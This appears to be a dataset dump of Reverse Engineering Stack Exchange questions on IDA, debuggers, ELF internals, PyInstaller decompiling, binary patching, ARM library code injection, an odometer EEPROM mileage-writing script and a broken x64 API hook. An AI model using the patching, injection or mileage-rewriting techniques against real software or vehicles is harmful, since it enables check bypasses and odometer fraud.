+ +Is this some unresolved bug or did I do something wrong? +" +['ida']," Title: How does IDA provide function names to dynamic calls?Body: I'm trying to compare a binary (a basic hello world exe compiled with MinGW) within Immunity Debugger and IDA. In Immunity I notice a call to EAX which points to 004019c0. + + + +Looking in IDA I notice this call is identified as ___dyn_tls_init_callback. I want to better understand how IDA gets this name and applies to this address. + + + +If I follow the function in IDA via xrefs I see a reference to the code with a label provided by IDA but I'm unsure where this name comes from. How can I figure out how IDA got this name? I'd like to understand further so I can do the work myself in Immunity. + + +" +"['disassembly', 'x86', 'elf', 'stack']"," Title: ELF x86 - Why is return address pushed twice?Body: I reverse an ELF x86, and I would like to understand why the return address is pushed again on the stack? It should be already present there. + +
main:
+lea    ecx, [esp+0x4 {argc}]
+and    esp, 0xfffffff0
+push   dword [ecx-0x4 {__return_addr}] {var_4}
+push   ebp, {var_8}
+mov    ebp, esp
+push   edi {var_c}
+push   ecx {argc} {var_10}
+sub    esp, 0xb0
+mov    eax, dword [ecx+0x4 {argv}]
+mov    dword [ebp-0x9c {var_a4}], eax
+mov    eax, dword [gs:0x14]
+mov    dword [ebp-0xc {var_14}], eax
+xor    eax, eax {0x0}
+cmp    dword [ecx {argc}], 0x2
+je     0x80485ae
+...
+
+" +"['x64dbg', 'strings']"," Title: Is there a way to export all the strings for a certain module in x64dbg?Body: I have an encrypted file that I was able to step through the code until that specific DLL file was decrypted in memory and I was able to list all of its strings. It has a ton of them that I would like to export all of them to a text file or even a CSV file if possible but I can't find any way to do so. + +Am I missing a command or a button somewhere or is this something I would need to try and write a script to accomplish? +" +"['tools', 'file-format', 'static-analysis', 'automation', 'magic-number']"," Title: Automatically detecting and carving images from .doc, .docx and spreadsheetsBody: I'm looking for a tool that can extract detect and extract any image format from word documents in both .doc and .docx formats for an automatic document classification use case. It is nice to just detect the presence of images, but it infinitely more valuable to automatically carve the images out of the file through detecting the magic bytes and carving based on the file header. + +I'm looking for something like oletools, but that toolkit doesn't support gathering images. + +If there aren't any tools or libraries that satisfy my use case, then any libraries or tools that could support my own development of such a tool would be appreciated. Even research papers or articles on the theory behind such a tool, or even the doc/docx file format would be appreciated. + +I would prefer python based tools, but I'll take what I can get. To be clear, I want a command line based tool, or a tool that can be added to a program or a script. +" +"['elf', 'pie']"," Title: LD_BIND_NOW doesn’t seem to take effect on ELF PIE executable?Body: Observations + +When the Linux executable is compiled as PIE (Position Independent Executable, default on Ubuntu 18.04), the symbols from shared libraries (e.g. libc) will be resolved when the program starts executing, setting LD_BIND_NOW environment variable to null will not defer this process. + +However, if the executable is compiled with the -no-pie flag, the symbol resolution can be controlled by LD_BIND_NOW. + +Question + +Is it possible to control when the symbols from share libraries to be resolved on a ELF PIE executable? + +Below is the test code and system info, + +
ubuntu: 18.04
+kernel: Linux 4.15.0-50-generic #54-Ubuntu SMP Mon May 6 18:46:08 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
+gcc: gcc (Ubuntu 7.4.0-1ubuntu1~18.04) 7.4.0
+
+
+$ gcc -o helloworld helloworld.c
+
+$ file helloworld
+helloworld: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=70143fcc329797b2d0af84143ce0125775ab330f, not stripped
+
+#include <stdio.h>
+int main() {
+    printf(""Hello world!\n"");
+}
+
+" +"['pe', 'python', 'crackme', 'windows-10']"," Title: How to generate exe from compiled Python files?Body: I have extracted compiled files from exe (executable in windows) using +PyInstaller Extractor script.

+In Resultant folder, i have got was pyc files bundled in pyz folder. +Then I decompiled files (using uncompyle6) from pyc to py. +Then updated code in py files and recompiled back to pyc files. + +My question is how can i convert these pyz bundled folder back to 'exe' so that it can be executed in windows? + +I tried pyinstaller, but could not find any .spec file or entry py file to begin this process. +what are the steps to achieve this required result. +" +"['ida', 'decompilation']"," Title: Search string in all binary pesudo-codeBody: How can I search pesudo code string in all functions in binary with Ida?? + +Pesudo code I mean when press F5 in Ida I can see psedo code of the binary (like in c) + +I want to search for example where there is while string or break string in psudo code +" +"['disassembly', 'arm', 'firmware-analysis']"," Title: Disassembling ARM binaryBody: I am trying to disassemble a firmware binary which I am interested in. Yet I don't have much experience in this field, which is why I would like some input from you guys. + +My current state is that I was able to obtain the *.bin file of the firmware and analyze it using binwalk. The standard analysis did not find anything, but trying the --opcodes option revealed some further information. + +According to the opcodes it seems to contain a mix of different instruction sets using ARM, Ubicom32 and ARMEB instructions. Therefore, there is probably no file system to recover, but if I understand it right I may be able to disassemble the binary using something like objdump? + +
DECIMAL       HEXADECIMAL     DESCRIPTION
+-----------------------------------------------------------------------
+1406157       0x1574CD        ARM instructions, function prologue
+12575041      0xBFE141        ARM instructions, function prologue
+14942348      0xE4008C        ARM instructions, function prologue
+16502970      0xFBD0BA        Ubicom32 instructions, function epilogue
+28109096      0x1ACE928       ARM instructions, function prologue
+29833956      0x1C73AE4       ARMEB instructions, function prologue
+39390093      0x2590B8D       ARMEB instructions, function prologue
+
+" +"['ida', 'idapython', 'windbg', 'winapi', 'ida-plugin']"," Title: How to call WinApi from a breakpoint in IDA Pro?Body: When I'm stepping through a debuggee process with IDA+WinDbg (as a debugger), I need to track one parameter by executing the following API (from within the breakpoint): + +
//C++ code
+SCROLLINFO s;
+s.cbSize = sizeof(s);    //0x1C
+s.fMask = SIF_POS | SIF_TRACKPOS;   //0x4 | 0x10
+GetScrollInfo(hWnd, SB_VERT, &s);    //SB_VERT = 1
+printf(""pos=%d, track=%d"", s.nPos, s.nTrackPos);
+
+ +So I came up with the following Python script to do this from a breakpoint in IDA: + +
import ctypes
+from ctypes import wintypes
+hwnd = 0x00020208
+user32 = ctypes.WinDLL('user32', use_last_error=True)
+class SCROLLINFO(ctypes.Structure):
+    _fields_ = ((""cbSize"", wintypes.DWORD),
+                (""fMask"", wintypes.DWORD),
+                (""nMin"", wintypes.LONG),
+                (""nMax"", wintypes.LONG),
+                (""nPage"", wintypes.DWORD),
+                (""nPos"", wintypes.LONG),
+                (""nTrackPos"", wintypes.LONG))
+s = SCROLLINFO(cbSize=0x1C,
+        fMask=0x14,
+        nPos=-1,
+        nTrackPos=-1)
+user32.GetScrollInfo(hwnd, 1, ctypes.byref(s))
+print s.nPos, s.nTrackPos
+
+ +Which I thought seemed to work and gave me some values: + + + +But then when I got to the actual code in the process that was doing the same: + + + +The result it received for s.nTrackPos was 1 instead of 8 that is reported by my Python script. Here's the memory dump for the SCROLLINFO struct: + + + +So what am I doing wrong here? Why is the Python script returning the wrong value? +" +"['windows', 'ollydbg', 'functions', 'x64dbg', 'tracing']"," Title: 'local call from' in x64dbgBody: In OllyDbg there was a thing called ""local call from xxx,xxx,xxx,xxx ... "" which helps me know from where a function is being called in the entire module. Does such a feature exist in x64dbg as well? +" +"['ida', 'windbg', 'symbols', 'debugging-symbols']"," Title: How to configure IDA to load .pdb files from Microsoft public symbol server?Body: I've done this in one VM but I can't seem to replicate it in another. I'm using IDA to analyze a 32-bit Windows PE file. I then want to step thru it with a WinDbg debugger from within IDA. + +So when I begin debugging it: + + + +And break on a breakpoint, I want to load symbols, say for cmtcmt32.dll: + + + +But instead of loading them it gives me this ""Choose PDB file"" window: + + + +How do I set it up to load it from the Microsoft public symbol server? + +PS. I tried running the following commands: + +
.sympath srv*c:symbols*https://msdl.microsoft.com/download/symbols
+.reload /f
+
+ +But it doesn't do anything. It just shows a bunch of errors: + + + + +" +['ida']," Title: Can't find any string with IDA, why?Body: A friend asked me to make some small mod on a app. +The mod should be to rewrite some labels like button, textbox text into his +language, so he can better understand the app... + +I loaded the app to IDA 7.0 and the two dll's too which are UPX packed, but I unpacked it before loading into IDA, but I can't find any string... + +Nothing. +There should be some buttons labeled with ""Diagnostic"", ""Settings"", ""About the program"" etc. But no way to figure out why I cant find all the strings... + +Here is the link to the files I got: +Files + +Any help would be nice. +Thank you very much. +" +['driver']," Title: Reverse engineer Apple T2/SSD driver for linuxBody: I wasn't exactly sure if this is the right place, as opposed to thinkdifferent or stackoverflow but I figure this might be a good place to start. I have a Macbook Pro 2018 15-inch laptop and want to to run linux. Unfortunately, Apple has moved some driver functions of the SSD or SSD controller to the T2 chip so currently no version of linux is able to ""see"" the SSD, and thus Linux can't be installed on these machines, although you can theoretically run it off an external drive. + +Since MacOS is a darwin-BSD fork, I wanted to know if anyone had opinions on whether to start with the MacOS driver or the driver for Windows 10, since Apple allows/enables Windows 10 via bootcamp. I've turned off all the security options and disabled csrutil. + +This github thread seems willing, and slowly making progress: +https://github.com/Dunedan/mbp-2016-linux/issues/71 + +It is possible to install Linux on this model's predecessor, which is nearly identical, with the major difference being the T2 chip: +https://foolcontrol.org/?p=2952 + +I'm willing to risk bricking my machine to get a working driver out there, but I've never written any kind of hardware driver, much less try to reverse-engineer one! Any guidance on where to start or which tools to use to capture IO? +" +"['assembly', 'pe', 'python', 'crackme', 'exe']"," Title: How to embed PYZ.-00.pyz_extracted folder with entry .py file to generate exe file?Body: I have decompiled exe using pyextractor script and generated +these files: + +
PYZ-00.pyz
+PYZ-00.pyz_extracted
+gui
+pyi_rth_tkinter
+pyi_rth_multiprocessing
+pyi_rth_pkgres
+pyi_rth_win32comgenpy
+pyiboot01_bootstrap
+pyimod01_os_path
+pyimod02_archive
+pyimod03_importers
+struc
+
+ +I know that gui is the entry file. +After updating header of gui , decompiled it to gui.py file. +(my process is similar to this one +https://hshrzd.wordpress.com/2018/01/26/solving-a-pyinstaller-compiled-crackme/) + +My question is how to generate exe file so that it contains all the files from PYZ-00.pyz_extracted folder? +" +"['assembly', 'executable', 'patching', 'hex', 'hexadecimal']"," Title: Hex editing a program to change variable typesBody: For starters guys please don't get mad at me because I really googled this question for a while and couldn't find a satisfying answer. Also if I'm asking an idiotic question, I apologize beforehand. + +What I basically want to do is to hex edit an executable file to change an integer variable in an address I know from signed to unsigned. Is this even possible? to change variable types by hex editing? I know how to change the value of the variable, but how can I change its type? + +Thanks in advance, +Ray. +" +['elf']," Title: Meaning of Flags in ELF Section header?Body: Given this classic helloworld.c example, + +
#include <stdio.h>
+
+int main() {
+    printf(""Hello world!\n"");
+}
+
+ +In below sections output, the value for Flags presents a couple of different values, e.g. A, AI, AX, WA, etc. + +From man elf, I understand A probably corresponds to SHF_ALLOC, W for SHF_WRITE, X for SHF_EXECINSTR. But how about AI? + +Is the correspondence between those long and short forms documented? + +
$ readelf -S helloworld
+
+There are 34 section headers, starting at offset 0x2188:
+
+Section Headers:
+  [Nr] Name              Type             Address           Offset
+       Size              EntSize          Flags  Link  Info  Align
+  [ 0]                   NULL             0000000000000000  00000000
+       0000000000000000  0000000000000000           0     0     0
+  [ 1] .interp           PROGBITS         0000000000000238  00000238
+       000000000000001c  0000000000000000   A       0     0     1
+  [ 2] .note.ABI-tag     NOTE             0000000000000254  00000254
+       0000000000000020  0000000000000000   A       0     0     4
+  [ 3] .note.gnu.build-i NOTE             0000000000000274  00000274
+       0000000000000024  0000000000000000   A       0     0     4
+  [ 4] .gnu.hash         GNU_HASH         0000000000000298  00000298
+       000000000000001c  0000000000000000   A       5     0     8
+  [ 5] .dynsym           DYNSYM           00000000000002b8  000002b8
+       00000000000000a8  0000000000000018   A       6     1     8
+  [ 6] .dynstr           STRTAB           0000000000000360  00000360
+       0000000000000082  0000000000000000   A       0     0     1
+  [ 7] .gnu.version      VERSYM           00000000000003e2  000003e2
+       000000000000000e  0000000000000002   A       5     0     2
+  [ 8] .gnu.version_r    VERNEED          00000000000003f0  000003f0
+       0000000000000020  0000000000000000   A       6     1     8
+  [ 9] .rela.dyn         RELA             0000000000000410  00000410
+       00000000000000c0  0000000000000018   A       5     0     8
+  [10] .rela.plt         RELA             00000000000004d0  000004d0
+       0000000000000018  0000000000000018  AI       5    22     8
+  [11] .init             PROGBITS         00000000000004e8  000004e8
+       0000000000000017  0000000000000000  AX       0     0     4
+  [12] .plt              PROGBITS         0000000000000500  00000500
+       0000000000000020  0000000000000010  AX       0     0     16
+  [13] .plt.got          PROGBITS         0000000000000520  00000520
+       0000000000000008  0000000000000008  AX       0     0     8
+  [14] .text             PROGBITS         0000000000000530  00000530
+       00000000000001a2  0000000000000000  AX       0     0     16
+  [15] .fini             PROGBITS         00000000000006d4  000006d4
+       0000000000000009  0000000000000000  AX       0     0     4
+  [16] .rodata           PROGBITS         00000000000006e0  000006e0
+       0000000000000011  0000000000000000   A       0     0     4
+  [17] .eh_frame_hdr     PROGBITS         00000000000006f4  000006f4
+       000000000000003c  0000000000000000   A       0     0     4
+  [18] .eh_frame         PROGBITS         0000000000000730  00000730
+       0000000000000108  0000000000000000   A       0     0     8
+  [19] .init_array       INIT_ARRAY       0000000000200db8  00000db8
+       0000000000000008  0000000000000008  WA       0     0     8
+  [20] .fini_array       FINI_ARRAY       0000000000200dc0  00000dc0
+       0000000000000008  0000000000000008  WA       0     0     8
+  [21] .dynamic          DYNAMIC          0000000000200dc8  00000dc8
+       00000000000001f0  0000000000000010  WA       6     0     8
+  [22] .got              PROGBITS         0000000000200fb8  00000fb8
+       0000000000000048  0000000000000008  WA       0     0     8
+  [23] .data             PROGBITS         0000000000201000  00001000
+       0000000000000010  0000000000000000  WA       0     0     8
+  [24] .bss              NOBITS           0000000000201010  00001010
+       0000000000000008  0000000000000000  WA       0     0     1
+
+More following...
+
+ +
+ +Let's dump the section header table in binary to see what's actually stored in place of the Flags, + +hexdump -v -s 0x2188 -n 768 -e '4/1 ""%02x"" "" "" 4/1 ""%02x"" "" "" 8/1 ""%02x"" "" "" 48/1 ""%02x"" ""\n""' helloworld + +
+ As per Elf64_Shdr struct, the 3rd column in the following output is + the binary form of flags(sh_flags). +
+ +
00000000 00000000 0000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+1b000000 01000000 0200000000000000 380200000000000038020000000000001c00000000000000000000000000000001000000000000000000000000000000
+23000000 07000000 0200000000000000 540200000000000054020000000000002000000000000000000000000000000004000000000000000000000000000000
+31000000 07000000 0200000000000000 740200000000000074020000000000002400000000000000000000000000000004000000000000000000000000000000
+44000000 f6ffff6f 0200000000000000 980200000000000098020000000000001c00000000000000050000000000000008000000000000000000000000000000
+4e000000 0b000000 0200000000000000 b802000000000000b802000000000000a800000000000000060000000100000008000000000000001800000000000000
+56000000 03000000 0200000000000000 600300000000000060030000000000008200000000000000000000000000000001000000000000000000000000000000
+5e000000 ffffff6f 0200000000000000 e203000000000000e2030000000000000e00000000000000050000000000000002000000000000000200000000000000
+6b000000 feffff6f 0200000000000000 f003000000000000f0030000000000002000000000000000060000000100000008000000000000000000000000000000
+7a000000 04000000 0200000000000000 10040000000000001004000000000000c000000000000000050000000000000008000000000000001800000000000000
+84000000 04000000 4200000000000000 d004000000000000d0040000000000001800000000000000050000001600000008000000000000001800000000000000
+8e000000 01000000 0600000000000000 e804000000000000e8040000000000001700000000000000000000000000000004000000000000000000000000000000
+
+ +
+ +As a combination of above two outputs, the following correspondence between the flag's binary form and the literal form is observed. + +
02 = 0000 0010 = A
+42 = 0100 0010 = AI
+06 = 0000 0110 = AX
+
+ +Are these correspondences documented? +" +"['ollydbg', 'x64dbg']"," Title: How to know what does the function do?Body: I've made a simple c++ program. In the ollydbg i searching for the string which is my name, there are 2-3 call functions near the string location but i don't know what those function do. + +My question is is there a way to know what those function do? is it print function or maybe other function? + + +" +"['windows', 'assembly', 'debugging', 'c#']"," Title: ASCII strings not showing up in CPU in OllyDbg, but rather in dumpBody: I'm pretty much new to the Reverse Engineering and assembly language. I've watched some videos about OllyDbg and cracking serial numbers in programs and I got interested in them and I want to learn more about assembly. Therefore I created a little console program myself in C# to practice: + +
using System;
+namespace ConsoleApp3
+{
+    class Program
+    {
+        static void Main(string[] args)
+        {
+            Console.Write(""Please enter the code: "");
+            string code = ""af2152ats7u35e"";
+            string input = Console.ReadLine();
+            if (input == code)
+                Console.WriteLine(""The code is correct!"");
+            else
+                Console.WriteLine(""You failed, try again..."");
+            Console.ReadLine();
+        }
+    }
+}
+
+ +Of course I can find the string in a text document, but the point was to actually use OllyDbg to jump over the checking part and right away give the ""code is correct"", just to practice the reverse engineering. +At first I thought it's gonna be easy and I'm gonna manipulate the program in different ways, but it turns out the strings are not shown as ASCII in the CPU view: + + +Because I thought it's gonna be shown as in this video: https://youtu.be/uydMlQlEiyc?t=39 + +So instead I can only find them in the dump view: + + +It makes it harder to actually find it in the CPU view and I can't find how to work with this on the internet or how to change it so it will be like in the video? + +How do I continue from here and how can I find the dump text reference in the code? +" +"['ollydbg', 'x64dbg']"," Title: Hearts Game Passing CardsBody: I'm trying to make this Hearts game so that i can select more than 3 cards. + +This is the func that will compare how many cards i've chosen with 3 + + + +it'll jump to this address if > 3 + + + +so i replace the jump with NOP + + + +now i can select cards more than 3, but when i trying to pass the cards, there's msg showing, i can't pass the cards + +so what am i missing ? I guess when we click the arrow button it'll compare the value again with 3, am i right? +" +"['arm', 'injection']"," Title: How to inject some code to ARM .so files permanently?Body: I am trying to figure out how to solve the following. I have two ARM .SO libraries (32 bit and 64 bit) with the same functions. There is a method which returns const char* , it looks like this in ARM32: + +
.text:0006F264                 PUSH            {LR}
+.text:0006F266                 SUB             SP, SP, #0xC
+.text:0006F268                 STR             R0, [SP,#0x10+var_C]
+.text:0006F26A                 LDR             R3, =(dword_9A030 - 0x6F270)
+.text:0006F26C                 ADD             R3, PC  ; dword_9A030
+.text:0006F26E                 LDR.W           R3, [R3,#(dword_9A250 - 0x9A030)]
+.text:0006F272                 LDR             R0, [SP,#0x10+var_C]
+.text:0006F274                 BLX             R3
+.text:0006F276                 MOV             R3, R0
+.text:0006F278                 NOP
+.text:0006F27A                 MOV             R0, R3
+.text:0006F27C                 ADD             SP, SP, #0xC
+.text:0006F27E                 LDR.W           PC, [SP+4+var_4],#4
+
+ +And here in ARM64: + +
.text:0000000000079CAC                 SUB             SP, SP, #0x20
+.text:0000000000079CB0                 STR             X30, [SP,#0x20+var_20]
+.text:0000000000079CB4                 STR             X0, [SP,#0x20+var_8]
+.text:0000000000079CB8                 ADRP            X0, #dword_DE080@PAGE
+.text:0000000000079CBC                 ADD             X0, X0, #dword_DE080@PAGEOFF
+.text:0000000000079CC0                 LDR             X1, [X0,#(qword_DE4C0 - 0xDE080)]
+.text:0000000000079CC4                 LDR             X0, [SP,#0x20+var_8]
+.text:0000000000079CC8                 BLR             X1
+.text:0000000000079CCC                 NOP
+.text:0000000000079CD0                 LDR             X30, [SP,#0x20+var_20]
+.text:0000000000079CD4                 ADD             SP, SP, #0x20
+.text:0000000000079CD8                 RET
+
+ +This is the ASM code of a function + +
const char* GetStatus ( const DetailsHandle obj )
+
+ +This function can return one of 3 string values ""abcd"", ""kowewqzb"", or ""jvbrnbfghert"" (as char*). I want it to return always ""kowewqzb"" regardless of the call happening within this function, which leads to an entire bunch of dynamically loaded functions. So how could I: + +1) write the code for making it always return the address of ""kowewqzb"" (which needs to be put somewhere into memory first) and don't do any other calls (so basically the entire instruction set besides of SP manipulations could be replaced with other instructions + +2) if there is not enough space for making it work directly there, how could I inject some new code without destroying existing code, are there any suitable places for that in the .SO library? E.g. putting BL to some unused areas (how to get them?) and having there further code pieces. + +Ideally if this could be outlined for both ARM32 and ARM64 I'd be more than happy. Huge thanks in advance!!! +" +"['unpacking', 'encodings']"," Title: Is there any way to change the encoding of an exe file?Body: I have an exe file and it will browse the xml, or txt files to display this exe file. + +And the characters only display the exact language of that country when I switch the language of the computer to a certain fixed locale (eg locale chinese simplified ""gb2132""). + +Is there any way for me to interfere with these character encodings through reverse engineering, so this exe file can browse unicode characters instead of having to switch the computer's locale? + +This is the file. +https://drive.google.com/open?id=1nU9Wz0DIsGjPz2ebzEmfkqaIYxBE5b7_ + + +" +['cryptography']," Title: Unknown three part signatureBody: I have received a string which is supposed to be a cryptographic signature. I have access to a certificate which should let me verify the signature. However, I am rather confused about the structure of the signature. + +I was expecting a byte string, likely base64-encoded. Instead, I received three lines, each 255 characters long, comprised of hex characters, and padded with trailing or leading zeroes. + +Unfortunately, I have very little and somewhat uncertain information: + + + +The following is roughly the structure of the signature. Note that the string contains mostly random hex characters. I preserved only the length of the (non) padded sections. And I discovered that the first line contains the payload, so I preserved that part also. Since I am uncertain about this string, I don't want to risk potentially publishing a private key, that's why the rest is just random hex characters. + +
1342120FF49C008D19FCA5208C216A8C69E11DE084442AA66B786A0F010766BE82238BEE9BAB9B9DA085E89A41BE8B660A109582F2782987780C6CEB5F85AE1D0A48656C6C6F2043727970746F20576F726C6400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005518C31F61B521823A97E4995D0F4E85B432A73FC0FD098B489D2C9AC533E19BA253AF93D275D906A043975FA03B86A15D993B944DCBF135156A378163E38
+042669BAF26B40FA9EDD9460D089DB1725778EB9304CA3034291C21CFB5B750000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+
+ +In python this is how I discovered the payload in the first line. + +
>>> bytes.fromhex(line_one + ""0"")
+>>> b'...Hello Crypto World\x00\x00...'
+
+ +Note that it was necessary to append the line with another character (""0"") as the line is only 255 characters long which wouldn't translate to full bytes. + +I have played around with a python crypto library (pycryptodome) trying to make sense of this, to no avail. I have googled, particularly regarding PKCS7, but couldn't quite make sense of this either. + +Using the same crypto library I was able to unpad each line, which simply stripped away some of the trailing zeroes leaving me with only 207 instead of 255 characters. + +My Questions
+What kind of format is this?
+How can I turn this into or extract only the signature part (byte string, base64 string)? + +Any help to steer me in the right direction is greatly appreciated. +" +['program-analysis']," Title: Can somebody recognize this programming language?Body: I'm curious in which programming language or script language is this written, +any idea? + +
[Dashboard\Alfa Romeo\147 93C86]
+
+Size(280,270); // ширина и высота
+
+Form
+{
+Form {
+    Group(""Пробег"",35,13,120,50)
+    {
+        Digit(Distance,"" "",5,18,70);
+        Label(lbkm,""КМ"",90,20);
+    }
+    Group(""Информация"",5,80,270,45) 
+    {
+        Label(msg,"" "",0,18);
+    }    
+    Group(""Описание"",5,130,270,90) 
+    {
+        Label(lb1,""Калькулятор пробега для Alfa Romeo 147."",0,20);
+        Label(lb2,""93C86 VDO 2001г."",0,35);
+        Label(lb3,""Введите нужное значение в окне <Пробег>."",0,50);
+        Label(lb4,""Нажмите кнопку <Применить>."",0,65);
+    }
+    // Picture(Logo,""alfa.bmp"",190,17,0,0);
+}
+
+OnShow 
+{
+    // проверка дампа
+      Var0 = ((@0x001 << 8)+@0x000;
+      Var1 = ((@0x301 << 8)+@0x300);
+      if(Var0 = Var1)
+       {
+        Var2 = (((@0x000 << 8)+@0x001) ^ 0xFFFF) << 5;
+        msg.Color = 0xFF0000;
+        msg.Bold = 1;
+        msg = ""Дамп ОК. Введите пробег."";
+        Distance = Var2;
+        }
+       else
+        {
+        msg.Color = 0x0000FF;
+        msg.Bold = 1;
+        msg = ""Неверный дамп!"";
+        Distance = 0;
+        } 
+}
+
+OnApply {
+    Var5 = 0;
+    Var2 = Distance;
+    Var7 = Var2 >> 5 & 65535 ^ 0xFFFF;
+    if(Var2 > 999900) {Var5 = 1;}
+    if(Var2 < 100)   {Var5 = 1;}
+    if(Var5 != 0)
+    {
+        msg.Color = 0x0000FF;
+        msg.Bold = 1;
+        msg = ""Пробег должен быть от 100 до 999900 км"";
+    }
+    else
+    {
+        Var3 = 0x00;
+        while(Var3 != 0x20)
+        {
+
+            @Var3 = Var7 >> 8 & 255;
+            @Var3.mismatch = 1;
+            Var3 = Var3 + 1;
+            @Var3 = Var7 & 255;
+            @Var3.mismatch = 1;
+            Var3 = Var3 + 1;
+            Var6 = Var7 * 2;
+            Var7 = (Var6 >> 16 + Var6) & 65535;
+            msg.Color = 0xFF0000;
+            msg.Bold = 1;
+            msg = ""Новый пробег записан."";
+        }
+        Var3 = 0x300;
+        while(Var3 != 0x320)
+        {
+
+            @Var3 = Var7 >> 8 & 255;
+            @Var3.mismatch = 1;
+            Var3 = Var3 + 1;
+            @Var3 = Var7 & 255;
+            @Var3.mismatch = 1;
+            Var3 = Var3 + 1;
+            Var6 = Var7 * 2;
+            Var7 = (Var6 >> 16 + Var6) & 65535;
+            msg.Color = 0xFF0000;
+            msg.Bold = 1;
+            msg = ""Новый пробег записан."";
+        }
+
+    }
+}
+
+" +"['c++', 'function-hooking']"," Title: x64 hook Fails on MessageboxBody: Quite new to the intels so i might not know much , I just need some form of direction here. +I am trying to do a simple 64 bit hook detour for function hooking + +I do it like so : + +The detour hook Engine : + +
BOOL JHook::SetHook(LPCSTR dll, LPCSTR name, LPVOID proxy, LPVOID original, PDWORD length)
+{
+    LPVOID FunctionAddress;
+    DWORD TrampolineLength = 0, OriginalProtection;
+    hde64s disam;
+    BYTE Jump[13] = { 0x49, 0xBB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0xFF, 0xE3 };
+
+    FunctionAddress = GetProcAddress(GetModuleHandleA(dll), name);
+    if (!FunctionAddress)
+        return FALSE;
+
+    //disassemble length of each instruction, until we have 5 or more bytes worth
+    while (TrampolineLength < 5)
+    {
+        LPVOID InstPointer = (LPVOID)((DWORD)FunctionAddress + TrampolineLength);
+        TrampolineLength += hde64_disasm(InstPointer, &disam);
+    }
+
+    //Build the trampoline buffer
+    memcpy(original, FunctionAddress, TrampolineLength);
+    *(DWORD*)(Jump + 1) = ((DWORD)FunctionAddress + TrampolineLength) - ((DWORD)original + TrampolineLength + 5);
+    memcpy((LPVOID)((DWORD)original + TrampolineLength), Jump, 5);
+
+    //Make sure the function is writable
+    if (!VirtualProtect(FunctionAddress, TrampolineLength, PAGE_EXECUTE_READWRITE, &OriginalProtection))
+        return FALSE;
+
+    //Build and atomically write the hook
+    *(DWORD*)(Jump + 1) = (DWORD)proxy - (DWORD)FunctionAddress - 5;
+    //SafeMemcpyPadded(FunctionAddress, Jump, 5);
+
+    //Restore the original page protection
+    VirtualProtect(FunctionAddress, TrampolineLength, OriginalProtection, &OriginalProtection);
+
+    //Clear CPU instruction cache
+    FlushInstructionCache(GetCurrentProcess(), FunctionAddress, TrampolineLength);
+
+    *length = TrampolineLength;
+    return TRUE;
+}
+
+ +The header file. + +
#pragma once
+
+    #include <stdio.h>
+    #include <stdlib.h>
+    #include <Windows.h>
+    #include ""hde64.h""
+
+    class SHook
+    {
+    private :
+        LPVOID FunctionAddress;
+        DWORD TrampolineLength = 0, OriginalProtection;
+        hde64s disam;
+        BYTE Jump[13] = { 0x49, 0xBB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0xFF, 0xE3 };
+    public:
+        BOOL SetHook(LPCSTR dll, LPCSTR name, LPVOID proxy, LPVOID original, PDWORD length);
+    };
+
+ +Now the implementation + +
#include <stdio.h>
+#include <Windows.h>
+#include <intrin.h>
+#include <string>
+#include ""JHook.h""
+
+typedef int (WINAPI* TdefOldMessageBoxA)(HWND hWnd, LPCSTR lpText, LPCTSTR lpCaption, UINT uType);
+TdefOldMessageBoxA myOldMessageBoxA;
+
+JHook Jhook;
+int WINAPI HookMessageBoxA(HWND hWnd, LPCSTR lpText, LPCTSTR lpCaption, UINT uType) 
+{
+    MessageBoxA(NULL, ""Hooked"", ""Hooked"", MB_OK);
+    return myOldMessageBoxA(hWnd, lpText, lpCaption, uType);
+}
+
+void EstablishHook()
+{
+        Jhook.SetHook(""user32.dll"",""MessageBoxA"", (LPVOID)&HookMessageBoxA, myOldMessageBoxA,0);
+}
+
+int main() 
+{
+    EstablishHook();
+}
+
+ +Now i was expecting to see something like a Messagebox saying its hooked, and i just see a cmd nothing else, where am i getting it wrong? + +Edit + +Opening inside a Debugger i have this + +
00007FF663D143F4 | 55                       | push rbp                                |
+00007FF663D143F5 | 57                       | push rdi                                |
+00007FF663D143F6 | 48:81EC E8000000         | sub rsp,E8                              |
+00007FF663D143FD | 48:8D6C24 20             | lea rbp,qword ptr ss:[rsp+20]           |
+00007FF663D14402 | 48:8BFC                  | mov rdi,rsp                             |
+00007FF663D14405 | B9 3A000000              | mov ecx,3A                              | 3A:':'
+00007FF663D1440A | B8 CCCCCCCC              | mov eax,CCCCCCCC                        |
+00007FF663D1440F | F3:AB                    | rep stosd                               |
+00007FF663D14411 | 48:8B8C24 08010000       | mov rcx,qword ptr ss:[rsp+108]          |
+00007FF663D14419 | 48:8D0D 15FC0000         | lea rcx,qword ptr ds:[7FF663D24035]     | MessageBoxTest.cpp:15732480
+00007FF663D14420 | E8 5DCCFFFF              | call shook.7FF663D11082                 |
+00007FF663D14425 | 45:33C9                  | xor r9d,r9d                             | MessageBoxTest.cpp:13
+00007FF663D14428 | 4C:8D05 95880000         | lea r8,qword ptr ds:[7FF663D1CCC4]      | 00007FF663D1CCC4:""Hooked""
+00007FF663D1442F | 48:8D15 8E880000         | lea rdx,qword ptr ds:[7FF663D1CCC4]     | 00007FF663D1CCC4:""Hooked""
+00007FF663D14436 | 33C9                     | xor ecx,ecx                             |
+00007FF663D14438 | FF15 2AED0000            | call qword ptr ds:[<&MessageBoxA>]      |
+00007FF663D1443E | 44:8B8D F8000000         | mov r9d,dword ptr ss:[rbp+F8]           | MessageBoxTest.cpp:14
+00007FF663D14445 | 4C:8B85 F0000000         | mov r8,qword ptr ss:[rbp+F0]            |
+00007FF663D1444C | 48:8B95 E8000000         | mov rdx,qword ptr ss:[rbp+E8]           |
+00007FF663D14453 | 48:8B8D E0000000         | mov rcx,qword ptr ss:[rbp+E0]           |
+00007FF663D1445A | FF15 90AF0000            | call qword ptr ds:[<int (__cdecl* __ptr |
+00007FF663D14460 | 48:8DA5 C8000000         | lea rsp,qword ptr ss:[rbp+C8]           | MessageBoxTest.cpp:15
